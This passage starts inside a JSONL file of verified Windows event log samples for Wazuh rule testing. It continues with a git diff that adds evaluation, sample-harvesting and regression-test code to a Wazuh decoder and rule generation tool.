"win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.tokenElevationType", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67027", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Process create"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x274983\",\"subjectUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"subjectDomainName\":\"EXCHANGETEST\",\"privilegeList\":\"SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege\",\"subjectUserName\":\"AtomicRed\"},\"system\":{\"eventID\":\"4672\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"Special privileges assigned to new logon.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x274983\\r\\n\\r\\nPrivileges:\\t\\tSeSecurityPrivilege\\r\\n\\t\\t\\tSeTakeOwnershipPrivilege\\r\\n\\t\\t\\tSeLoadDriverPrivilege\\r\\n\\t\\t\\tSeBackupPrivilege\\r\\n\\t\\t\\tSeRestorePrivilege\\r\\n\\t\\t\\tSeDebugPrivilege\\r\\n\\t\\t\\tSeSystemEnvironmentPrivilege\\r\\n\\t\\t\\tSeImpersonatePrivilege\\r\\n\\t\\t\\tSeDelegateSessionUserImpersonatePrivilege\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-17T17:31:21.6380750Z\",\"eventRecordID\":\"1471357\",\"threadID\":\"756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12548\",\"processID\":\"704\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.privilegeList": "SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x274983", "win.eventdata.subjectUserName": "AtomicRed", "win.eventdata.subjectUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4672", "win.system.eventRecordID": "1471357", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "704", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-17T17:31:21.6380750Z", "win.system.task": "12548", "win.system.threadID": "756", "win.system.version": "0"}, "field_names": ["win.eventdata.privilegeList", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67028", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Special privileges (Admin-equivalent Access) assigned to new logon, excluding LocalSystem"} +{"log": "{\"win\":{\"eventdata\":{\"name\":\"Server Name\",\"customLevel\":\"Info\",\"value\":\"192.168.0.115\"},\"system\":{\"eventID\":\"1024\",\"keywords\":\"0x4000000000000000\",\"providerGuid\":\"{28aa95bb-d444-4719-a36f-40462168127e}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-TerminalServices-RDPClient/Operational\",\"opcode\":\"10\",\"message\":\"\\\"RDP ClientActiveX is trying to connect to the server (192.168.0.115)\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-17T21:39:01.1874960Z\",\"eventRecordID\":\"8\",\"threadID\":\"3772\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"101\",\"processID\":\"4508\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-TerminalServices-ClientActiveXCore\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.customLevel": "Info", "win.eventdata.name": "Server Name", "win.eventdata.value": "192.168.0.115", "win.system.channel": "Microsoft-Windows-TerminalServices-RDPClient/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1024", "win.system.eventRecordID": "8", "win.system.keywords": "0x4000000000000000", "win.system.level": "4", "win.system.message": "\"RDP ClientActiveX is trying to connect to the server (192.168.0.115)\"", "win.system.opcode": "10", "win.system.processID": "4508", "win.system.providerGuid": "{28aa95bb-d444-4719-a36f-40462168127e}", "win.system.providerName": "Microsoft-Windows-TerminalServices-ClientActiveXCore", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-17T21:39:01.1874960Z", "win.system.task": "101", "win.system.threadID": "3772", "win.system.version": "0"}, "field_names": ["win.eventdata.customLevel", "win.eventdata.name", "win.eventdata.value", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67029", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Log attempted TS connect to remote serverm"} diff --git a/integrations/wazuh_decoder_rule_tool/scripts/build_dataset.py b/integrations/wazuh_decoder_rule_tool/scripts/build_dataset.py index 455d6775..aba45058 100644 --- a/integrations/wazuh_decoder_rule_tool/scripts/build_dataset.py +++ b/integrations/wazuh_decoder_rule_tool/scripts/build_dataset.py @@ -162,6 +162,23 @@ def load_feedback_records(path: Path) -> List[Dict]: return records +def _looks_like_osregex(text: str) -> bool: + """Heuristic check that `text` looks like an OS_Regex pattern rather than + a plain-English sentence a human typed into the notes field (e.g. "It + should be corrected like this"). Rejecting prose here prevents free-text + notes from being promoted into training/RAG data verbatim as if they were + valid decoder regexes. + """ + if not text: + return False + if not re.search(r'[\\(){}\[\]^$]', text): + return False + words = re.findall(r"[A-Za-z]{3,}", text) + if len(words) >= 4 and not re.search(r'\\[dswpSWD]', text): + return False + return True + + def load_rejection_records(path: Path) -> List[Dict]: """Convert rejected outputs into training pairs. @@ -190,8 +207,10 @@ def load_rejection_records(path: Path) -> List[Dict]: if not log: continue - # Only use rejections that have a corrected regex in notes - if not notes or len(notes) < 10: + # Only use rejections that have a corrected regex in notes — and + # skip anything that reads like a human note rather than an + # actual OS_Regex pattern (see _looks_like_osregex). + if not notes or len(notes) < 10 or not _looks_like_osregex(notes): continue # Build a synthetic decoder target from the corrected pattern @@ -203,7 +222,7 @@ def load_rejection_records(path: Path) -> List[Dict]: corrected_decoder = { "name": f"{app_name}-event", "parent": app_name, - "prematch": app_name, + "prematch": "", "regex": notes, "order": extract_fields, "source_file": "feedback/corrections", diff --git a/integrations/wazuh_decoder_rule_tool/scripts/eval_ml_order_proposals.py b/integrations/wazuh_decoder_rule_tool/scripts/eval_ml_order_proposals.py new file mode 100644 index 00000000..da0445c7 --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/scripts/eval_ml_order_proposals.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Measure what retrieval-proposed fields actually recover. + +Ground truth is wazuh-logtest's own Phase 2 output for each verified sample +(data/verified_log_samples.jsonl), so "recovered" means a field real Wazuh +extracts that the local heuristics alone did not produce -- not a field the +model merely claimed. + +Reports both directions, because only one of them is good news: + recovered - truth fields the proposal path added + false addition - fields it added that logtest never extracted + +Usage: + python3 scripts/eval_ml_order_proposals.py [--limit N] +""" +from __future__ import annotations + +import argparse +import collections +import json +import sys +from pathlib import Path +from typing import Any, Dict, List, Set + +BASE_DIR = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(BASE_DIR)) + +from app.main import ( # noqa: E402 + canonicalize_field_name, + choose_log_driven_fields, + ml_suggestions_for_logs, + parse_phase1_predecode, + select_ml_decoder_template, +) + +CORPUS = BASE_DIR / "data" / "verified_log_samples.jsonl" + +# Wazuh resolves user onto dstuser, so the two spellings name the +# same captured value and must not count as a miss against each other. +_EQUIVALENT = {"dstuser": "user"} + + +def norm(name: str) -> str: + canonical = canonicalize_field_name(name) + return _EQUIVALENT.get(canonical, canonical) + + +def norm_set(names) -> Set[str]: + return {norm(n) for n in names if str(n).strip()} + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("--limit", type=int, default=0) + args = ap.parse_args() + + if not CORPUS.exists(): + sys.exit(f"{CORPUS} missing -- run scripts/harvest_log_samples.py first.") + + rows: List[Dict[str, Any]] = [] + with CORPUS.open(encoding="utf-8") as fh: + for line in fh: + line = line.strip() + if line: + rows.append(json.loads(line)) + # Only samples where logtest extracted something can show a difference. + rows = [r for r in rows if r.get("field_names")] + if args.limit: + rows = rows[: args.limit] + print(f"scoring {len(rows)} verified samples with extracted fields\n") + + stats = collections.Counter() + recovered_names = collections.Counter() + false_names = collections.Counter() + base_hits = new_hits = truth_total = 0 + + for i, row in enumerate(rows, 1): + log = row["log"] + truth = norm_set(row["field_names"]) + + try: + predecoded = parse_phase1_predecode(log) + suggestions = ml_suggestions_for_logs( + [log], predecoded.get("program_name"), predecoded.get("body") or log + ) + selected = select_ml_decoder_template([log], [], suggestions) + ml_order = (selected or {}).get("order") or [] + + base_order = norm_set(choose_log_driven_fields([log], [], ml_order=None)[1]) + new_order = norm_set(choose_log_driven_fields([log], [], ml_order=ml_order)[1]) + except Exception as exc: + stats["errored"] += 1 + if stats["errored"] <= 3: + print(f" ! {type(exc).__name__} on sample {i}: {exc}") + continue + + truth_total += len(truth) + base_hits += len(base_order & truth) + new_hits += len(new_order & truth) + + added = new_order - base_order + for name in added & truth: + stats["recovered"] += 1 + recovered_names[name] += 1 + for name in added - truth: + stats["false_addition"] += 1 + false_names[name] += 1 + if added & truth: + stats["samples_improved"] += 1 + if added - truth: + stats["samples_with_false_addition"] += 1 + stats["scored"] += 1 + + if i % 200 == 0: + print(f" {i}/{len(rows)}", flush=True) + + scored = stats["scored"] or 1 + print(f"\nsamples scored: {stats['scored']} (errored: {stats['errored']})") + print(f"truth field recall baseline: {base_hits}/{truth_total} " + f"({base_hits / max(1, truth_total):.1%})") + print(f"truth field recall proposals: {new_hits}/{truth_total} " + f"({new_hits / max(1, truth_total):.1%})") + print(f"\nsamples improved: {stats['samples_improved']} ({stats['samples_improved']/scored:.1%})") + print(f"samples with a false addition: {stats['samples_with_false_addition']} " + f"({stats['samples_with_false_addition']/scored:.1%})") + print(f"fields recovered: {stats['recovered']} false additions: {stats['false_addition']}") + + if recovered_names: + print("\nmost recovered fields:") + for name, count in recovered_names.most_common(10): + print(f" {count:5d} {name}") + if false_names: + print("\nmost common false additions:") + for name, count in false_names.most_common(10): + print(f" {count:5d} {name}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/integrations/wazuh_decoder_rule_tool/scripts/eval_rag_retrieval.py b/integrations/wazuh_decoder_rule_tool/scripts/eval_rag_retrieval.py new file mode 100644 index 00000000..43ef3de3 --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/scripts/eval_rag_retrieval.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +"""Measure RAG retrieval precision, with and without verified log examples. + +Every verified sample whose exact text was indexed as a doc's log_example is +excluded: querying with a string that is verbatim in the store measures +memorisation, not retrieval. Only held-out samples are scored, so the two +configurations are compared on logs neither of them has seen. + +A hit means the retrieved doc's (or its ) is the +decoder wazuh-logtest actually assigned to that log. + +Usage: + python3 scripts/eval_rag_retrieval.py [--top-k 3] +""" +from __future__ import annotations + +import argparse +import collections +import json +import re +import sys +from pathlib import Path +from typing import Any, Dict, List, Set + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from app import rag_engine as R # noqa: E402 + +_NAME_RE = re.compile(r' Set[str]: + return set(_NAME_RE.findall(meta.get("decoder_xml") or "")) + + +def load_samples() -> List[Dict[str, Any]]: + rows = [] + with R._VERIFIED_SAMPLES.open(encoding="utf-8") as fh: + for line in fh: + line = line.strip() + if line: + rows.append(json.loads(line)) + return rows + + +def build_baseline_collection(client, ef): + """Re-index the same decoders with the pre-change embedding text.""" + # Emptying the cache makes _parse_decoder_xml_file emit docs with no + # log_example, which reproduces the old metadata-only embed text exactly. + saved = R._verified_samples_cache + R._verified_samples_cache = {} + try: + docs = [] + for xml_file in sorted(R._DECODER_DIR.glob("*.xml")): + docs.extend(R._parse_decoder_xml_file(xml_file)) + finally: + R._verified_samples_cache = saved + + try: + client.delete_collection(BASELINE_COLLECTION) + except Exception: + pass + coll = client.get_or_create_collection( + name=BASELINE_COLLECTION, embedding_function=ef, + metadata={"hnsw:space": "cosine"}, + ) + seen, unique = set(), [] + for doc in docs: + if doc["id"] not in seen: + seen.add(doc["id"]) + unique.append(doc) + for i in range(0, len(unique), 200): + batch = unique[i : i + 200] + coll.upsert( + ids=[d["id"] for d in batch], + documents=[d["text"] for d in batch], + metadatas=[{"decoder_xml": d["decoder_xml"][:2000], + "source": d.get("source", "")[:100]} for d in batch], + ) + return coll, len(unique) + + +def score(coll, samples: List[Dict[str, Any]], top_k: int) -> Dict[str, Any]: + hits1 = hitsk = 0 + per_file = collections.Counter() + per_file_total = collections.Counter() + + # Query in batches; chroma accepts many query_texts at once. + for start in range(0, len(samples), 100): + batch = samples[start : start + 100] + res = coll.query(query_texts=[s["log"] for s in batch], + n_results=top_k, include=["metadatas"]) + for sample, metas in zip(batch, res["metadatas"]): + truth = {sample["decoder"]} + if sample.get("parent"): + truth.add(sample["parent"]) + ranked = [doc_decoder_names(m) for m in metas] + top1 = bool(ranked and (ranked[0] & truth)) + topk = any(names & truth for names in ranked) + hits1 += top1 + hitsk += topk + per_file_total[sample["ini_file"]] += 1 + if topk: + per_file[sample["ini_file"]] += 1 + + n = len(samples) or 1 + return {"n": len(samples), + "p@1": hits1 / n, + f"recall@{top_k}": hitsk / n, + "per_file": per_file, "per_file_total": per_file_total} + + +def score_production(samples: List[Dict[str, Any]], top_k: int) -> Dict[str, Any]: + """Score the real retrieve() path, dedup and all. + + score() queries chroma directly, so it can't see whether dedup pushes a + correct sibling out of the top_k window — which is exactly the risk that + dedup introduces. + """ + hits1 = hitsk = 0 + for sample in samples: + got = R.retrieve(sample["log"], top_k=top_k) + truth = {sample["decoder"]} + if sample.get("parent"): + truth.add(sample["parent"]) + ranked = [doc_decoder_names(e) for e in got] + hits1 += bool(ranked and (ranked[0] & truth)) + hitsk += any(names & truth for names in ranked) + n = len(samples) or 1 + return {"p@1": hits1 / n, f"recall@{top_k}": hitsk / n} + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("--top-k", type=int, default=3) + args = ap.parse_args() + + status = R.build_store(force=False) + if status.get("status") != "ok": + sys.exit(f"RAG store unavailable: {status}") + current = R._collection + + indexed_examples = { + (m.get("log_example") or "").strip() + for m in current.get(include=["metadatas"])["metadatas"] + } + indexed_examples.discard("") + + samples = load_samples() + heldout = [s for s in samples if s["log"].strip() not in indexed_examples] + print(f"verified samples: {len(samples)}") + print(f"held out (not indexed as any log_example): {len(heldout)}") + + # Logs that Wazuh handles with its builtin `json` decoder need no custom + # decoder at all, so "which XML decoder should we retrieve" has no correct + # answer for them. Scoring them would just move the headline number around + # without telling us anything about the case the tool exists to serve. + text_only = [s for s in heldout if s["decoder"] != "json"] + builtin_json = len(heldout) - len(text_only) + print(f" of which builtin-json (excluded from the headline): {builtin_json}") + print(f" scored (logs needing a real text decoder): {len(text_only)}") + if not text_only: + sys.exit("nothing held out -- cannot evaluate honestly") + + ef = R._get_embedding_function() + baseline, n_docs = build_baseline_collection(R._chroma_client, ef) + print(f"baseline collection re-indexed with metadata-only text: {n_docs} docs\n") + + k = f"recall@{args.top_k}" + for label, subset in (("logs needing a text decoder", text_only), + ("all held-out logs", heldout)): + before = score(baseline, subset, args.top_k) + after = score(current, subset, args.top_k) + print(f"\n== {label} (n={len(subset)})") + print(f"{'config':<28}{'p@1':>9}{k:>12}") + print("-" * 49) + print(f"{'metadata only (before)':<28}{before['p@1']:>8.1%}{before[k]:>12.1%}") + print(f"{'+ verified log example':<28}{after['p@1']:>8.1%}{after[k]:>12.1%}") + print(f"{'delta':<28}{after['p@1']-before['p@1']:>+8.1%}{after[k]-before[k]:>+12.1%}") + if subset is text_only: + after_text = after + prod = score_production(subset, args.top_k) + print(f"{'+ dedup (production path)':<28}{prod['p@1']:>8.1%}{prod[k]:>12.1%}") + + print(f"\nworst text-decoder log sources after the change (recall@{args.top_k}, n>=10):") + rows = [] + for f, total in after_text["per_file_total"].items(): + if total >= 10: + rows.append((after_text["per_file"][f] / total, f, after_text["per_file"][f], total)) + for rate, f, hit, total in sorted(rows)[:10]: + print(f" {rate:6.1%} {f:<34} {hit}/{total}") + + try: + R._chroma_client.delete_collection(BASELINE_COLLECTION) + except Exception: + pass + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/integrations/wazuh_decoder_rule_tool/scripts/harvest_log_samples.py b/integrations/wazuh_decoder_rule_tool/scripts/harvest_log_samples.py new file mode 100644 index 00000000..60b438da --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/scripts/harvest_log_samples.py @@ -0,0 +1,290 @@ +#!/usr/bin/env python3 +"""Harvest real log samples from the Wazuh ruleset test suite and verify them +against wazuh-logtest, so the RAG store can be indexed with (log -> decoder -> +fields) triples that are known to actually hold on this Wazuh version. + +Without a log_example, a RAG hit only teaches the LLM decoder *style* -- it +cannot teach the log -> regex mapping, which is the part that matters. The .ini +files under ruleset/testing/tests carry the samples the Wazuh project itself +uses as ground truth; this script pairs each one with what logtest really +reports, and drops any pair that does not verify. + +Usage: + python3 scripts/harvest_log_samples.py [--limit N] [--out PATH] +""" +from __future__ import annotations + +import argparse +import collections +import configparser +import json +import re +import subprocess +import sys +from pathlib import Path +from typing import Any, Dict, Iterator, List + +REPO_ROOT = Path(__file__).resolve().parent.parent +REPO_CACHE = REPO_ROOT / "data" / "wazuh_repo" +TESTS_DIR = REPO_CACHE / "ruleset" / "testing" / "tests" +DEFAULT_OUT = REPO_ROOT / "data" / "verified_log_samples.jsonl" +LOGTEST_BIN = "/var/ossec/bin/wazuh-logtest" + +# How many logs to push through a single logtest session. Batching amortises +# the ~1s process startup over many samples; keeping it bounded stops one +# malformed log from taking a huge chunk of work down with it. +CHUNK_SIZE = 200 +CHUNK_TIMEOUT = 300 + + +class MultiOrderedDict(collections.OrderedDict): + """Same trick runtests.py uses: keep every duplicate key in a list.""" + + def __setitem__(self, key, value): + if isinstance(value, list) and key in self: + self[key].extend(value) + else: + super().__setitem__(key, value) + + +def parse_ini(path: Path) -> Iterator[Dict[str, Any]]: + parser = configparser.RawConfigParser(dict_type=MultiOrderedDict, strict=False) + try: + parser.read(str(path)) + except Exception as exc: # a malformed file should not sink the whole run + print(f" ! skipping {path.name}: {exc}", file=sys.stderr) + return + + for section in parser.sections(): + items = dict(parser.items(section)) + + def scalar(name: str) -> str: + raw = items.get(name, "") + if isinstance(raw, list): + raw = raw[-1] if raw else "" + return str(raw).strip() + + decoder = scalar("decoder") + rule = scalar("rule") + alert = scalar("alert") + + for key, raw in items.items(): + if not key.startswith("log ") or not key.endswith("pass"): + continue + values = raw if isinstance(raw, list) else [raw] + for value in values: + # A repeated "log 1 pass" key inside one section gets collapsed + # by MultiOrderedDict into a single newline-joined value. Each + # line is an independent sample, and logtest reads one log per + # line anyway, so split rather than skip -- treating these as + # one blob silently dropped ~300 samples. + for line in str(value).splitlines(): + log = line.strip() + if not log: + continue + yield { + "log": log, + "expected_decoder": decoder, + "expected_rule": rule, + "expected_alert": alert, + "ini_file": path.name, + "section": section, + } + + +_PHASE1_EVENT = re.compile(r"^\tfull event: '(?P.*)'$") +_FIELD = re.compile(r"^\t(?P[\w.\-]+): '(?P.*)'$") + + +def parse_logtest_output(text: str) -> List[Dict[str, Any]]: + """Return one result block per input log, in input order. + + Alignment is positional: logtest emits exactly one "**Phase 1" block per + line it reads. Keying on the echoed `full event` instead looks safer but + silently loses every JSON log -- for those, Phase 1 prints no full-event + line at all. `full_event` is still recorded so the caller can assert + alignment on the (majority) syslog-shaped samples. + """ + results: List[Dict[str, Any]] = [] + current: Dict[str, Any] | None = None + phase = 0 + + for line in text.splitlines(): + if line.startswith("**Phase 1"): + current = {"full_event": None, "decoder": "", "parent": "", + "fields": {}, "rule": "", "level": ""} + results.append(current) + phase = 1 + continue + if line.startswith("**Phase 2"): + phase = 2 + continue + if line.startswith("**Phase 3"): + phase = 3 + continue + + if current is None: + continue + + if phase == 1: + match = _PHASE1_EVENT.match(line) + if match: + current["full_event"] = match.group("event") + continue + + match = _FIELD.match(line) + if not match: + continue + key, value = match.group("key"), match.group("value") + + if phase == 2: + if key == "name": + current["decoder"] = value + elif key == "parent": + current["parent"] = value + else: + current["fields"][key] = value + elif phase == 3: + if key == "id": + current["rule"] = value + elif key == "level": + current["level"] = value + + return results + + +def run_logtest(logs: List[str]) -> List[Dict[str, Any]]: + """Feed one chunk through logtest; returns blocks aligned to `logs`. + + Returns [] on any misalignment rather than guessing, so a bad chunk shows + up in the stats instead of quietly attaching the wrong decoder to a log. + """ + payload = "".join(log + "\n" for log in logs) + try: + proc = subprocess.run( + [LOGTEST_BIN], input=payload, text=True, + capture_output=True, timeout=CHUNK_TIMEOUT, + ) + except subprocess.TimeoutExpired: + print(f" ! logtest timed out on a {len(logs)}-log chunk", file=sys.stderr) + return [] + except FileNotFoundError: + sys.exit(f"{LOGTEST_BIN} not found -- run this on the Wazuh manager.") + + blocks = parse_logtest_output((proc.stdout or "") + (proc.stderr or "")) + if len(blocks) != len(logs): + print(f" ! logtest returned {len(blocks)} blocks for {len(logs)} logs " + f"-- dropping chunk", file=sys.stderr) + return [] + + for log, block in zip(logs, blocks): + echoed = block.get("full_event") + if echoed is not None and echoed != log: + print(f" ! alignment check failed: expected {log[:60]!r} " + f"got {echoed[:60]!r} -- dropping chunk", file=sys.stderr) + return [] + return blocks + + +def ensure_tests_checkout() -> None: + """Add ruleset/testing to the cached repo's sparse checkout if it's absent. + + refresh_wazuh_repo() pins the sparse checkout to ruleset/decoders, and a + forced refresh re-clones from scratch -- so the test samples vanish exactly + when someone updates the ruleset. Re-adding the path here keeps this script + runnable without changing what the ML refresh downloads for everyone. + """ + if TESTS_DIR.is_dir(): + return + if not (REPO_CACHE / ".git").exists(): + sys.exit(f"{REPO_CACHE} is not a git checkout -- run the ML repo refresh first.") + + print(f"{TESTS_DIR.relative_to(REPO_ROOT)} missing — adding it to the sparse checkout") + proc = subprocess.run( + ["git", "-C", str(REPO_CACHE), "sparse-checkout", "add", "ruleset/testing"], + text=True, capture_output=True, timeout=120, + ) + if proc.returncode != 0: + sys.exit(f"sparse-checkout add failed: {proc.stderr.strip()}") + if not TESTS_DIR.is_dir(): + sys.exit(f"{TESTS_DIR} still missing after sparse-checkout add") + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("--limit", type=int, default=0, help="cap samples (0 = all)") + ap.add_argument("--out", type=Path, default=DEFAULT_OUT) + args = ap.parse_args() + + ensure_tests_checkout() + + samples: List[Dict[str, Any]] = [] + for ini in sorted(TESTS_DIR.glob("*.ini")): + samples.extend(parse_ini(ini)) + if args.limit: + samples = samples[: args.limit] + print(f"parsed {len(samples)} pass-samples from {len(list(TESTS_DIR.glob('*.ini')))} ini files") + + verified: List[Dict[str, Any]] = [] + stats = collections.Counter() + + for start in range(0, len(samples), CHUNK_SIZE): + chunk = samples[start : start + CHUNK_SIZE] + reported = run_logtest([s["log"] for s in chunk]) + print(f" logtest {start + len(chunk)}/{len(samples)}", flush=True) + + if not reported: + stats["chunk_dropped"] += len(chunk) + continue + + for sample, got in zip(chunk, reported): + + actual = got["decoder"] + if not actual: + stats["undecoded"] += 1 + continue + + # The .ini names the decoder whose should win Phase 2. A + # child decoder reports its own name, so accept a parent match too. + expected = sample["expected_decoder"] + if expected and actual != expected and got["parent"] != expected: + stats["decoder_mismatch"] += 1 + continue + + stats["verified"] += 1 + if got["fields"]: + stats["verified_with_fields"] += 1 + + verified.append({ + "log": sample["log"], + "decoder": actual, + "parent": got["parent"], + "fields": got["fields"], + "field_names": sorted(got["fields"]), + "rule": got["rule"], + "level": got["level"], + "expected_decoder": expected, + "expected_rule": sample["expected_rule"], + "rule_matches_expected": bool( + sample["expected_rule"] and got["rule"] == sample["expected_rule"] + ), + "ini_file": sample["ini_file"], + "section": sample["section"], + }) + + args.out.parent.mkdir(parents=True, exist_ok=True) + with args.out.open("w", encoding="utf-8") as fh: + for row in verified: + fh.write(json.dumps(row, ensure_ascii=False) + "\n") + + print(f"\nwrote {len(verified)} verified samples -> {args.out}") + for key, count in stats.most_common(): + print(f" {key}: {count}") + decoders = {row["decoder"] for row in verified} + parents = {row["parent"] for row in verified if row["parent"]} + print(f" distinct decoders covered: {len(decoders | parents)}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/integrations/wazuh_decoder_rule_tool/tests/test_decoder_generation_fixes.py b/integrations/wazuh_decoder_rule_tool/tests/test_decoder_generation_fixes.py new file mode 100644 index 00000000..5b2f451c --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/tests/test_decoder_generation_fixes.py @@ -0,0 +1,637 @@ +""" +Regression tests for three decoder-generation defects: + +1. /health reported wazuh-logtest as accessible while wazuh-analysisd was down, + because the local probe only stat'd the binary. +2. The colon key=value scan invented fields (`14`, `accesslog`, `2026-08-01T14`, + `https`) out of timestamps, syslog tags and URLs. +3. Split child decoders were emitted with an empty line and no parent + decoder at all, so nothing could ever match. +""" +import re +import sys +import time +from pathlib import Path + +import pytest + +BASE_DIR = Path(__file__).resolve().parent.parent +sys.path.append(str(BASE_DIR)) +sys.path.append(str(BASE_DIR / "app")) + +import app.main as main +from app.main import ( + _ensure_parent_decoder, + _enforce_split_decoders, + _is_noise_field_key, + _logtest_output_indicates_down, + _refresh_wazuh_accessible, + extract_relevant_fields, +) + + +ACCESS_LOG = ( + '2026-08-01T14:22:31 myapp accesslog: client=203.0.113.45 ' + 'ts=2026-08-01T14:22:31Z method=GET path=/api/v1/users status=200 ' + 'referer="https://example.com/home" rt=0.042' +) + + +# ── 1. logtest accessibility probe ──────────────────────────────────────────── + +def test_logtest_output_indicates_down_detects_analysisd_error(): + """The real-world failure string must be recognised as 'manager down'.""" + assert _logtest_output_indicates_down( + "", "** Wazuh-logtest error when connecting with wazuh-analysisd" + ) + + +def test_logtest_output_indicates_down_is_case_insensitive(): + assert _logtest_output_indicates_down( + "ERROR WHEN CONNECTING WITH WAZUH-ANALYSISD", "" + ) + + +def test_logtest_output_healthy_output_is_not_down(): + assert not _logtest_output_indicates_down( + "**Phase 1: Completed pre-decoding.\n\tfull event: 'test'", "" + ) + + +def test_refresh_marks_inaccessible_when_analysisd_is_down(monkeypatch): + """Regression: exit code 0 + analysisd error on stderr must read as DOWN. + + wazuh-logtest exits 0 even when the manager is stopped, so a probe that + trusts the return code alone reports a dead manager as healthy.""" + monkeypatch.setattr(main, "WAZUH_REMOTE_ENABLED", False) + monkeypatch.setattr(main, "find_wazuh_logtest", lambda: "/var/ossec/bin/wazuh-logtest") + monkeypatch.setattr( + main, + "run_local_sudo_command", + lambda *a, **k: { + "returncode": 0, + "stdout": "", + "stderr": "** Wazuh-logtest error when connecting with wazuh-analysisd", + "connection_error": False, + }, + ) + # _refresh_wazuh_accessible retries 3x with 2s backoff; skip the wait. + monkeypatch.setattr(time, "sleep", lambda *_a, **_k: None) + + main._WAZUH_LOGTEST_ACCESSIBLE = None + _refresh_wazuh_accessible() + assert main._WAZUH_LOGTEST_ACCESSIBLE is False + + +def test_refresh_marks_accessible_when_logtest_round_trips(monkeypatch): + monkeypatch.setattr(main, "WAZUH_REMOTE_ENABLED", False) + monkeypatch.setattr(main, "find_wazuh_logtest", lambda: "/var/ossec/bin/wazuh-logtest") + monkeypatch.setattr( + main, + "run_local_sudo_command", + lambda *a, **k: { + "returncode": 0, + "stdout": "**Phase 1: Completed pre-decoding.", + "stderr": "", + "connection_error": False, + }, + ) + + main._WAZUH_LOGTEST_ACCESSIBLE = None + _refresh_wazuh_accessible() + assert main._WAZUH_LOGTEST_ACCESSIBLE is True + + +def test_refresh_marks_inaccessible_when_binary_missing(monkeypatch): + monkeypatch.setattr(main, "find_wazuh_logtest", lambda: None) + main._WAZUH_LOGTEST_ACCESSIBLE = None + _refresh_wazuh_accessible() + assert main._WAZUH_LOGTEST_ACCESSIBLE is False + + +# ── 2. noise fields from the colon scan ─────────────────────────────────────── + +@pytest.mark.parametrize( + "key", + ["14", "22", "2026-08-01T14", 